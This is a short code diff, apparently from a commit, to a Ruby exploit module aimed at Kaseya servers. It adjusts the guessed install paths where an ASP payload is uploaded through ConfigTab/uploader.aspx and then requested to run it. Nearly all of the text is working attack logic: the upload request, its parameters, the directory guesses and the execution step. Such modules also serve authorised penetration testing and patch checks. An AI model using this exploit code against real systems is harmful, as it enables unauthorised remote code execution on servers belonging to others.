@@ -60,13 +60,13 @@ def check
60
60
61
61
62
62
def upload_file ( payload , path , filename , session_id )
63
- print_status ( "#{ peer } - Uploading payload to #{ path + 'WebPages\\' } ..." )
63
+ print_status ( "#{ peer } - Uploading payload to #{ path } ..." )
64
64
65
65
res = send_request_cgi ( {
66
66
'method' => 'POST' ,
67
67
'uri' => normalize_uri ( 'ConfigTab' , 'uploader.aspx' ) ,
68
68
'vars_get' => {
69
- 'PathData' => path + 'WebPages' + '\\' ,
69
+ 'PathData' => path ,
70
70
'qqfile' => filename
71
71
} ,
72
72
'data' => payload ,
@@ -100,20 +100,20 @@ def exploit
100
100
101
101
paths = [
102
102
# We have to guess the path, so just try the most common directories
103
- 'C:\\Kaseya\\' ,
104
- 'C:\\Program Files\\Kaseya\\' ,
105
- 'C:\\Program Files (x86)\\Kaseya\\' ,
106
- 'D:\\Kaseya\\' ,
107
- 'D:\\Program Files\\Kaseya\\' ,
108
- 'D:\\Program Files (x86)\\Kaseya\\' ,
109
- 'E:\\Kaseya\\' ,
110
- 'E:\\Program Files\\Kaseya\\' ,
111
- 'E:\\Program Files (x86)\\Kaseya\\' ,
103
+ 'C:\\Kaseya\\WebPages\\ ' ,
104
+ 'C:\\Program Files\\Kaseya\\WebPages\\ ' ,
105
+ 'C:\\Program Files (x86)\\Kaseya\\WebPages\\ ' ,
106
+ 'D:\\Kaseya\\WebPages\\ ' ,
107
+ 'D:\\Program Files\\Kaseya\\WebPages\\ ' ,
108
+ 'D:\\Program Files (x86)\\Kaseya\\WebPages\\ ' ,
109
+ 'E:\\Kaseya\\WebPages\\ ' ,
110
+ 'E:\\Program Files\\Kaseya\\WebPages\\ ' ,
111
+ 'E:\\Program Files (x86)\\Kaseya\\WebPages\\ ' ,
112
112
]
113
113
114
114
paths . each do |path |
115
115
if upload_file ( payload , path , asp_name , session_id )
116
- register_files_for_cleanup ( path + "WebPages \\ " + asp_name )
116
+ register_files_for_cleanup ( path + asp_name )
117
117
print_status ( "#{ peer } - Executing payload #{ asp_name } " )
118
118
119
119
send_request_cgi ( {
0 commit comments